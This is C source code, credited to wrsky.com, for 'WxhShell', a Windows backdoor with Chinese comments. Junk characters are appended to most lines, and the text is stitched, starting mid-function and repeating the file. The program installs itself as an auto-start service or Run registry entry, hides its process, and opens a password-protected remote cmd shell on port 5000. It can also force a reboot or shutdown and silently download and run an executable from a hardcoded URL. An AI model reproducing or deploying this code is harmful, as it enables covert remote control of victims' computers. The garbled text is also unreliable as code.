    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Mk Er|w'  
    if(Boot(SHUTDOWN)) %QCh#v=ks  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @`^+XPK\  
    else { 0&} "!)  
    closesocket(wsh); u%3D{Dj  
    ExitThread(0); S!j=hj@qW  
    } d[9c6C:<q  
    break; i<@6f'Kir  
    } nlOM4fJ(  
  // 获取shell 1JM EniB+9  
  case 's': { p%pM3<p  
    CmdShell(wsh); 8D@H4O.  
    closesocket(wsh); q\cH+n)C  
    ExitThread(0); s<Px au+A  
    break; =i O K($  
  } '/trM%<  
  // 退出 B"rnSui  
  case 'x': { yV,ki^^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {4SwCN /  
    CloseIt(wsh); $6e&sDJ  
    break; `z=U-v'H)D  
    } O$%M.C'  
  // 离开 $O9Nprf  
  case 'q': { EnnT)qos  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YBqu7&  
    closesocket(wsh); bi;?)7p&ZY  
    WSACleanup(); T[]2]K[&B  
    exit(1); e33j&:O  
    break; >qk[/\^O  
        } #Mkwd5S|L  
  } [%7y !XD  
  } Fa:fBs{  
(99P9\[p  
  // 提示信息 |\;oFuCv##  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +[C dd{2  
} v]SHude{  
  } A{3Aw|;  
WDQtj$e+  
  return; #RT}-H  
} {|nm0vg`A  
^}7iouE C  
// shell模块句柄 5 #3/  
int CmdShell(SOCKET sock) ARvT  
{ ;T0F1  
STARTUPINFO si; $N4%I4  
ZeroMemory(&si,sizeof(si)); F9@,T8I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &.J8O+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; INtt0Cm9"  
PROCESS_INFORMATION ProcessInfo; cVya~ *  
char cmdline[]="cmd"; *y<Ru:D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); __o`+^FS  
  return 0; ]wFKXZeK  
} BB@I|)9O(  
zea=vx>`  
// 自身启动模式 C%_^0#8-0  
int StartFromService(void) Ww-%s9N<  
{ #2l6'gWE0  
typedef struct XHU&ix{Od  
{ hiO:VA  
  DWORD ExitStatus; A`_(L|~  
  DWORD PebBaseAddress; kzU;24"K  
  DWORD AffinityMask; U'(}emh}  
  DWORD BasePriority; `7_=2C  
  ULONG UniqueProcessId; DID&fj9m  
  ULONG InheritedFromUniqueProcessId; swNJ\m  
}   PROCESS_BASIC_INFORMATION; pie<jZt  
*qdf?' R  
PROCNTQSIP NtQueryInformationProcess; O92a*)  
o8B_;4uB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9QE|p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2c:H0O 0o  
D lz||==  
  HANDLE             hProcess; :aHD'K  
  PROCESS_BASIC_INFORMATION pbi; 6Q S[mWU  
!9|)v7}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DE"KbA0}  
  if(NULL == hInst ) return 0; EXn$ [K;  
Y8!T4dkn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8&snLOU -Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E/ %S0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tk3%0XZH  
y\0<f `v6  
  if (!NtQueryInformationProcess) return 0; w20E]4"  
`.>5H\w0e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Fq3[/'M^  
  if(!hProcess) return 0; wUkLe-n,dE  
3?|gBiX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gEC*JbA.3  
F%QZe*m[  
  CloseHandle(hProcess); .s$#: ls?  
^,S\-Uy9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d.y2`wT  
if(hProcess==NULL) return 0; eveGCV;@  
b(&~f@% |  
HMODULE hMod; :(tSL{FO  
char procName[255]; q)JG_Y.p  
unsigned long cbNeeded; K^z-G=|N  
cy)b/4h@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2y; |6`  
o %#Z  
  CloseHandle(hProcess); K0B J  
N}{CL(xi  
if(strstr(procName,"services")) return 1; // 以服务启动 /E>z8 J$  
,Nl]rmI  
  return 0; // 注册表启动 T8Sgu6:*R  
} ,])@?TJb@  
J]uYXsC  
// 主模块 9D74/3b*  
int StartWxhshell(LPSTR lpCmdLine) ^aVoH/q*C  
{ 'G z>X :  
  SOCKET wsl; %-"?  
BOOL val=TRUE; <}'hkEh{d=  
  int port=0; pKK&+umg  
  struct sockaddr_in door; 3$f%{~3  
INwc@XB  
  if(wscfg.ws_autoins) Install(); cyUNJw  
( 8+_~_  
port=atoi(lpCmdLine); 4eb<SNi  
JtYc'%OF  
if(port<=0) port=wscfg.ws_port; dIv/.x/V  
6GzmzhX4  
  WSADATA data; E\!:MCL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %8iA0t+  
y$@d%U*rW^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qmUq9bV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9_IR%bm  
  door.sin_family = AF_INET; }D.?O,ue  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  I 0ycLx  
  door.sin_port = htons(port); wP3PI.g-g  
@~6A9Fr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rC]jz$sle  
closesocket(wsl); ]*a)'k_@[  
return 1; sQW$P9s c  
} @ [_I|  
Db({k,P'Y  
  if(listen(wsl,2) == INVALID_SOCKET) { GEP YSp  
closesocket(wsl); 'N,3]Soi  
return 1; 2L.UEAt  
} |E @Gsw  
  Wxhshell(wsl); JA7HO |  
  WSACleanup(); 6 .DJR Y  
g-xbb&]  
return 0; ;@K,>$ur-  
G[u_Uu=>  
} nut;ohIh  
{(G@YG?  
// 以NT服务方式启动 %o< &O(Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #FF5xe  
{ 9Vk61x6  
DWORD   status = 0; R7T"fN  
  DWORD   specificError = 0xfffffff; %kD WUJZ  
AF D/ J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 77/y{#Sk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FM9b0qE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W#'c6Hq2c  
  serviceStatus.dwWin32ExitCode     = 0; 7-Rn{"5  
  serviceStatus.dwServiceSpecificExitCode = 0; RhyI\(Z2q  
  serviceStatus.dwCheckPoint       = 0; 9B Lz  
  serviceStatus.dwWaitHint       = 0; tjkY[  
*sf9(%j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ] d| -r:4  
  if (hServiceStatusHandle==0) return; "Ks%!  
!Dkz6B*  
status = GetLastError(); mh44  
  if (status!=NO_ERROR) d%9I*Qo0,  
{ S|;a=K&hS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _5M!ec  
    serviceStatus.dwCheckPoint       = 0; Jf`;F :  
    serviceStatus.dwWaitHint       = 0; M4M 4*o  
    serviceStatus.dwWin32ExitCode     = status; `{I,!to  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3@$h/xMJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l>"gO9j  
    return; G%ycAm  
  } Ndi'b_Sh\  
KtY~Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _wM[U`H}s  
  serviceStatus.dwCheckPoint       = 0; ]Ke|wRQD  
  serviceStatus.dwWaitHint       = 0; nL^6{I~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5:|5NX[.b  
} MS^,h>KI  
u!g=>zEu  
// 处理NT服务事件,比如:启动、停止 /(n)I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) : ` F>B  
{ eHv~?b5l  
switch(fdwControl) } 3:TPW5S  
{ @babgP,  
case SERVICE_CONTROL_STOP: 9 )B>|#\  
  serviceStatus.dwWin32ExitCode = 0; g ^)>-$=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <!X'- >i%q  
  serviceStatus.dwCheckPoint   = 0; HAo8]?J  
  serviceStatus.dwWaitHint     = 0; U'-MMwE]  
  { ThWZ>hyJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dG7sY O@U  
  } ~\<ZWU<BE  
  return; xx;'WL,g  
case SERVICE_CONTROL_PAUSE: qa^x4xZM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;~~Oc  
  break; a,cDj  
case SERVICE_CONTROL_CONTINUE: cdU2ph_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R$,`}@VqZ3  
  break; 2!68W X  
case SERVICE_CONTROL_INTERROGATE: C==tJog[  
  break; 3Un/-4uL  
}; F]yclXf('  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r\],5x'xSu  
} ~R)w 9uq  
@{I55EQ]  
// 标准应用程序主函数 "G6d'xkP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) idO3/>R [  
{ G&C)`};  
?2EzNNcS  
// 获取操作系统版本 GU&XK7L  
OsIsNt=GetOsVer(); U\VwJ2 {i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ie.cTTOI  
gK)B3dH*&  
  // 从命令行安装 7C2/^x P  
  if(strpbrk(lpCmdLine,"iI")) Install(); Qg 6m  
A9l^S|r  
  // 下载执行文件 }f&7<E  
if(wscfg.ws_downexe) { )CR8-z1`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3%EwA\V(  
  WinExec(wscfg.ws_filenam,SW_HIDE); aqzvT5*8%  
} iT^lk'?{O  
P#ru-0DD  
if(!OsIsNt) { -m'a%aog  
// 如果时win9x,隐藏进程并且设置为注册表启动 L6 _Sc-sU  
HideProc(); w4L\@y 3  
StartWxhshell(lpCmdLine); ^;@Bz~Z  
} '3hvR4P  
else )1x333.[c  
  if(StartFromService()) 0l 3RwWj  
  // 以服务方式启动 4QI vxH  
  StartServiceCtrlDispatcher(DispatchTable); $ @1&G~x  
else `SW`d<+L  
  // 普通方式启动 eHnC^W}|s  
  StartWxhshell(lpCmdLine); 82/iVm1  
K=(&iq!VO  
return 0; }|SVt`n  
} STOE=TC>  
Q^39Wk@  
IwH ,g^0\  
Be]o2N;J  
=========================================== GtGToI  
:cC`wX$  
#='#`5_5  
b/5~VY*T  
tQl=  
q0c)pxD%`  
" i;dr(c/ft  
X4/r#<Da  
#include <stdio.h> MPL2#YU/a  
#include <string.h> 1}ToR=  
#include <windows.h> [e^i".  
#include <winsock2.h> ;N1FP*  
#include <winsvc.h> k2+Z7#2n  
#include <urlmon.h> }<Me%`x"  
m",bfZ  
#pragma comment (lib, "Ws2_32.lib") ,~4(td+R7  
#pragma comment (lib, "urlmon.lib") 3 t_5Xacj  
z.H`a+cl  
#define MAX_USER   100 // 最大客户端连接数 w^p2XlQ<  
#define BUF_SOCK   200 // sock buffer }Ql;%7  
#define KEY_BUFF   255 // 输入 buffer Ahwu'mgnC  
Hd2_Cg FB  
#define REBOOT     0   // 重启 ]g)%yuox9F  
#define SHUTDOWN   1   // 关机 \@F{Q-  
<'vM+Lk  
#define DEF_PORT   5000 // 监听端口 4%6Q+LS']Q  
:iWV:0)P  
#define REG_LEN     16   // 注册表键长度 ^a}{u$<  
#define SVC_LEN     80   // NT服务名长度 v0xi(Wu  
6R,;c7Izhd  
// 从dll定义API :- 5Mn3*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d8r+UP@#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \Q)~'P3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /kWWwy<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 02+^rqIx5  
r-0 7!A  
// wxhshell配置信息 1%:A9%O)t  
struct WSCFG { gSv<.fD"  
  int ws_port;         // 监听端口 V('b|gsEo  
  char ws_passstr[REG_LEN]; // 口令 0ib 6}L%  
  int ws_autoins;       // 安装标记, 1=yes 0=no Pb`sn5;  
  char ws_regname[REG_LEN]; // 注册表键名 #,9|Hr%  
  char ws_svcname[REG_LEN]; // 服务名 WUV Q_<i+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M<L<mP}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i@;a%$5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D"WkD j"M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x-QP+M`Pu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >L(F{c:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VuR BJ2D  
tsa6: D  
}; |% kK?!e+-  
)- \w  
// default Wxhshell configuration JjCf<ktE.  
struct WSCFG wscfg={DEF_PORT, D|BN_ai9  
    "xuhuanlingzhe", />oU}m"k  
    1, N1$P6ZF  
    "Wxhshell", +Q9HsfX/  
    "Wxhshell", 2U+&F'&Q  
            "WxhShell Service", 0jS/U|0  
    "Wrsky Windows CmdShell Service", JU6np4  
    "Please Input Your Password: ", Z`!pU"O9l  
  1,  y1saE  
  "http://www.wrsky.com/wxhshell.exe", d"cfSH;h  
  "Wxhshell.exe"  (M=Br  
    }; 4CCux4)N  
0k>&MkM\^  
// 消息定义模块 6]3 ZUH;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -,tYfQ;:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g:)v thOs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +Oscy-;  
char *msg_ws_ext="\n\rExit."; 1W8W/Y=hT  
char *msg_ws_end="\n\rQuit."; O^:h_L  
char *msg_ws_boot="\n\rReboot..."; 2=|IOkY  
char *msg_ws_poff="\n\rShutdown..."; S .jjB  
char *msg_ws_down="\n\rSave to "; !< )_ F  
GwycSb1  
char *msg_ws_err="\n\rErr!"; M}<=~/k`j  
char *msg_ws_ok="\n\rOK!"; SrtmpQ  
izw}25SW  
char ExeFile[MAX_PATH]; g=(+oK?  
int nUser = 0; `iI"rlc  
HANDLE handles[MAX_USER]; nX S%>1o,  
int OsIsNt; 525 >=h  
pSP_cYa#(#  
SERVICE_STATUS       serviceStatus; KWUz]>Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0_EF7`T  
a8 1%M  
// 函数声明 .R'i=D`Pz  
int Install(void); i=D,T[|>a  
int Uninstall(void); ^&.?kJM  
int DownloadFile(char *sURL, SOCKET wsh); l_%~X 9"  
int Boot(int flag); $^!w`>0C  
void HideProc(void); cn0Fz"d  
int GetOsVer(void); @FV;5M:I  
int Wxhshell(SOCKET wsl); ~}AP@t*  
void TalkWithClient(void *cs); Zy%Z]dF  
int CmdShell(SOCKET sock); E0Djo'64  
int StartFromService(void); $yAfs3/%)s  
int StartWxhshell(LPSTR lpCmdLine); QFPx4F7(e  
8hfh,v5(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OKVYpf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); < &2,G5XA  
&>{>k<z  
// 数据结构和表定义 sdWl5 "  
SERVICE_TABLE_ENTRY DispatchTable[] = :ct+.#  
{ j1 <1D@UO  
{wscfg.ws_svcname, NTServiceMain}, q9!9OcN2  
{NULL, NULL} l/^-:RRNKi  
}; 895 7$g  
v~Qy{dn P  
// 自我安装 `[CJtd2\  
int Install(void) <3 }l8Z  
{ AF$o >f  
  char svExeFile[MAX_PATH]; ^Q>*f/.KN  
  HKEY key; R!,)?j;  
  strcpy(svExeFile,ExeFile); gxM8IQ  
"~<~b2Y"5  
// 如果是win9x系统,修改注册表设为自启动 O:)IRB3  
if(!OsIsNt) { ~S6{VK.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { njMy&$6a##  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (Y)h+}n5N  
  RegCloseKey(key); ?m1$*j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]LTc)[5Zj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  uN 62>  
  RegCloseKey(key); %ZyPK,("  
  return 0; 1,QZnF!.x  
    } z-5#bOABW  
  } 0)5Sx /5'  
} 17)M.(qmuP  
else { @3c#\jx  
kVnyX@  
// 如果是NT以上系统,安装为系统服务 b]BA,D 4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Nh9!lBm*]  
if (schSCManager!=0) ]ECZU   
{ e0HP~&BRs  
  SC_HANDLE schService = CreateService %}X MhWn{  
  ( }dJ ~Iy  
  schSCManager, PAV2w_X~  
  wscfg.ws_svcname, ~iZF~PQ1_  
  wscfg.ws_svcdisp, HDyZzjgG  
  SERVICE_ALL_ACCESS, \STvBI?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Qu FCc1Q  
  SERVICE_AUTO_START, X&.$/xaT  
  SERVICE_ERROR_NORMAL, [!? ,TGM}^  
  svExeFile, -/c1qLdQ  
  NULL, j#P4Le[t  
  NULL, tcEf ~|3  
  NULL, lO> 7`2x=F  
  NULL, HF+fk*_Q  
  NULL ' u};z:t  
  ); sDm},=X}  
  if (schService!=0) o%PoSZZ  
  { Z4ov  
  CloseServiceHandle(schService); So%1RY{ )  
  CloseServiceHandle(schSCManager); G@EjWZQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sFCs_u1tNN  
  strcat(svExeFile,wscfg.ws_svcname); j :Jdwf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E)wT+\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oy bzD  
  RegCloseKey(key); ( L\G!pP.  
  return 0; s4`*0_n  
    } |/=p  
  } n UCk0:{  
  CloseServiceHandle(schSCManager); YCBML!L  
} rqe_zyc&  
} h$ iyclX  
jQeE07g  
return 1; B9)qv>m  
} p]|ME  
":#x\;  
// 自我卸载 w^E]N  
int Uninstall(void) a~>0JmM+N  
{ Bj($_2M%+  
  HKEY key; [I<'E LX  
O\F^@;] F6  
if(!OsIsNt) { 0*IY%=i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :'rZZeb'  
  RegDeleteValue(key,wscfg.ws_regname); bA^: p3  
  RegCloseKey(key); [-Tt11  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'a/6]%QFd!  
  RegDeleteValue(key,wscfg.ws_regname); H&=4y) /.  
  RegCloseKey(key); h9w^7MbO  
  return 0; wQrPS  
  } ?Gv!d  
} `) !2E6 =  
} +6)kX4  
else { 9 roth  
j X!ftm2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7U )qC}(  
if (schSCManager!=0) \v P2B  
{ 27 YLg c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *o\Y~U-so  
  if (schService!=0) dms:i)L2  
  { zV(tvt  
  if(DeleteService(schService)!=0) { i~Ob( YIH  
  CloseServiceHandle(schService); 2N8sq(LK{  
  CloseServiceHandle(schSCManager); ^@LhUs>3  
  return 0; V?V)&y] 4  
  } Nw$[a$^n  
  CloseServiceHandle(schService); ^AjYe<RU}  
  } ,-I F++q  
  CloseServiceHandle(schSCManager); ]G o~]7(5|  
} l)rvh#D  
} awSS..g}L  
a0/n13c?G  
return 1; 3G/ mB  
} ^%8Hvy  
iMeRQYW  
// 从指定url下载文件 9s6>9hMb)  
int DownloadFile(char *sURL, SOCKET wsh) zmfRZ!Eh  
{ %)hIpxOrX  
  HRESULT hr; Or#+E2%1E  
char seps[]= "/"; # /,2MQ  
char *token; {{[jC"4AY  
char *file; c>WpOZ,  
char myURL[MAX_PATH]; 'UXj\vJ3E  
char myFILE[MAX_PATH]; -G<2R"Q#N  
)av'u.]%c  
strcpy(myURL,sURL); JU=\]E@8c  
  token=strtok(myURL,seps); C(1A8  
  while(token!=NULL) > ?{iv1  
  { N7HbOLpM  
    file=token; 6[3Ioh  
  token=strtok(NULL,seps); ;GgQ@s@  
  } {cyo0-9nv  
d,J<SG&L&  
GetCurrentDirectory(MAX_PATH,myFILE); kq}eUY]  
strcat(myFILE, "\\"); <&Y}j&(  
strcat(myFILE, file); >gZk 581/  
  send(wsh,myFILE,strlen(myFILE),0); )<x;ra^  
send(wsh,"...",3,0); X?v ^>mA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 400Tw`AiJ  
  if(hr==S_OK) eYD9#y  
return 0; !Nxn[^[?.  
else @F(3*5c_Y  
return 1; =y-!k)t  
9>[.=  
} j#nO6\&o  
8T.5Mhx0jS  
// 系统电源模块 Ubw!/|mi  
int Boot(int flag) R!V5-0%  
{ Uygw*+  
  HANDLE hToken; w(e+o.:  
  TOKEN_PRIVILEGES tkp; 2 ) /k`Na  
.iP G/e  
  if(OsIsNt) { %X9:R'~sP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MNf@HG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  fBWJ%W  
    tkp.PrivilegeCount = 1; 5Du>-.r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K7[AiU_I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X@h^T> ["  
if(flag==REBOOT) { LcpyW=)}"V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %M;_(jda  
  return 0; rMXOwkE  
} /!{A=N  
else { x,w`OMQ}c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =FD`A#\C~  
  return 0; gM;)  
} Q&.IlVB[  
  } Lr24bv\  
  else { 9OQ0Yc!3  
if(flag==REBOOT) { kP}hUrDX5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Fyh?4!/.  
  return 0; T) Zt'M  
} mS w?2ba  
else { An8%7xa7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =ve*g&  
  return 0; &8X .!r`f  
} FUzMc1zy|  
} 6Bq~\b^  
l#5~ t|\  
return 1; B::4Qme  
} LpiHoavv  
7$1fy0f[l  
// win9x进程隐藏模块 #E$Z[G]  
void HideProc(void) _']%qd"%  
{ 35%[D Ukb  
N)vk0IM!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }o!#_N0T  
  if ( hKernel != NULL ) Xew1LPI  
  { StdS$XW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O7'<I|aD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p29yaM  
    FreeLibrary(hKernel); ,{uW8L  
  } 6HEqm>Yau  
Ha=_u+@  
return; 'd2qa`H'}B  
} } :RT,<  
%EJ\|@N:  
// 获取操作系统版本 pT3X/ ra  
int GetOsVer(void) {w |dM#  
{ &sZ9$s:(^  
  OSVERSIONINFO winfo; zldfRo\wl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )y%jLiQv  
  GetVersionEx(&winfo); ]< s\V-y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R%Ui6dCLo  
  return 1; `FzYvd"N  
  else \ifK~?  
  return 0; n2xLgK=  
} s.R-<Y 3  
|P,zGy  
// 客户端句柄模块 ( K6~Tj  
int Wxhshell(SOCKET wsl) `x{.z=xC  
{ Sc4obcw%  
  SOCKET wsh; s FQ4O- SM  
  struct sockaddr_in client; M1/M}~  
  DWORD myID; +{")E)  
<fC@KY>#  
  while(nUser<MAX_USER) S' (cqO}=F  
{ @)W(q5)}9"  
  int nSize=sizeof(client); .pS&0gBo\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "EcX_>  
  if(wsh==INVALID_SOCKET) return 1; %1-K);S J  
e-CNQnO~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _KB{J7bs<a  
if(handles[nUser]==0) T~i%j@Q.6  
  closesocket(wsh); W>5vRwx00  
else K0EY<Ltq  
  nUser++; ]6$,IKE7  
  } KGV.S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !US8aT  
H&w:`JYDL3  
  return 0; w(76H^e  
} ID67?:%r  
/9x{^  
// 关闭 socket g$*/ XSr(  
void CloseIt(SOCKET wsh) fm(mO%  
{ @4IW=V  
closesocket(wsh); up\oWR:  
nUser--; GVmC }>z  
ExitThread(0); 0bMoUy*q  
} G(U9rJ9  
lLb:f6N  
// 客户端请求句柄 @s_3 0+  
void TalkWithClient(void *cs) Ds%9cp*6  
{ U@Z>/ q  
nNt*} k  
  SOCKET wsh=(SOCKET)cs; X+=-f^)&  
  char pwd[SVC_LEN]; Nls83 W  
  char cmd[KEY_BUFF]; E,{GU  
char chr[1]; {>8Pl2J  
int i,j; z%(Fo2)^  
&49u5&TiP  
  while (nUser < MAX_USER) { z]^+^c_  
Z[",$Lt  
if(wscfg.ws_passstr) { Ye9Y^+-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x(L(l=^"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /b{o3, #.M  
  //ZeroMemory(pwd,KEY_BUFF); WtEI] WO  
      i=0; !ZFr7Xz  
  while(i<SVC_LEN) { nz4<pvC,*  
*IC^IC:  
  // 设置超时 ')B =|T)  
  fd_set FdRead; ;{|X,;s  
  struct timeval TimeOut; >^a$  
  FD_ZERO(&FdRead); YEzU{J  
  FD_SET(wsh,&FdRead); 6cJ<9i &  
  TimeOut.tv_sec=8; ` ^DjEdUN  
  TimeOut.tv_usec=0; # ;K,,ku x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C:]s;0$3'9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8wr8:( Y$  
EXuLSzQwv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MkwU<ae AB  
  pwd=chr[0]; D^Te%qnW  
  if(chr[0]==0xd || chr[0]==0xa) { w/ TKRCO3  
  pwd=0; l , ..5   
  break; qu_)`wB  
  } u*2fP]n  
  i++; kw*)/$5]  
    } pet~[e%!  
8{dEpV*  
  // 如果是非法用户,关闭 socket /Rj#sxtdw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }g~g50ci  
} Kx~$Bor_!  
ZWO)tVw9G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ; e@gO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ipobr7G.SD  
i3#'*7f%j  
while(1) { 8".2)W4*  
yL6^\x  
  ZeroMemory(cmd,KEY_BUFF); C,/O   
?WQNIX4  
      // 自动支持客户端 telnet标准   $B\ H  
  j=0; I,b9t\(6  
  while(j<KEY_BUFF) { ?v:ZU~i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IV'p~t  
  cmd[j]=chr[0]; c!It ^*  
  if(chr[0]==0xa || chr[0]==0xd) { Z7fg 25  
  cmd[j]=0; qj&b o  
  break; .2 0V 3  
  } &)n_]R#)  
  j++; \R(R9cry  
    } w/W7N   
\<~}o I  
  // 下载文件 )0^ >#k  
  if(strstr(cmd,"http://")) { i31<].|kA*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `H>b5  
  if(DownloadFile(cmd,wsh)) t2- ^-g6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  FZ F @  
  else [#Y' dFQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ciudRK63M  
  }  4*TmlY  
  else { kZLMtj-   
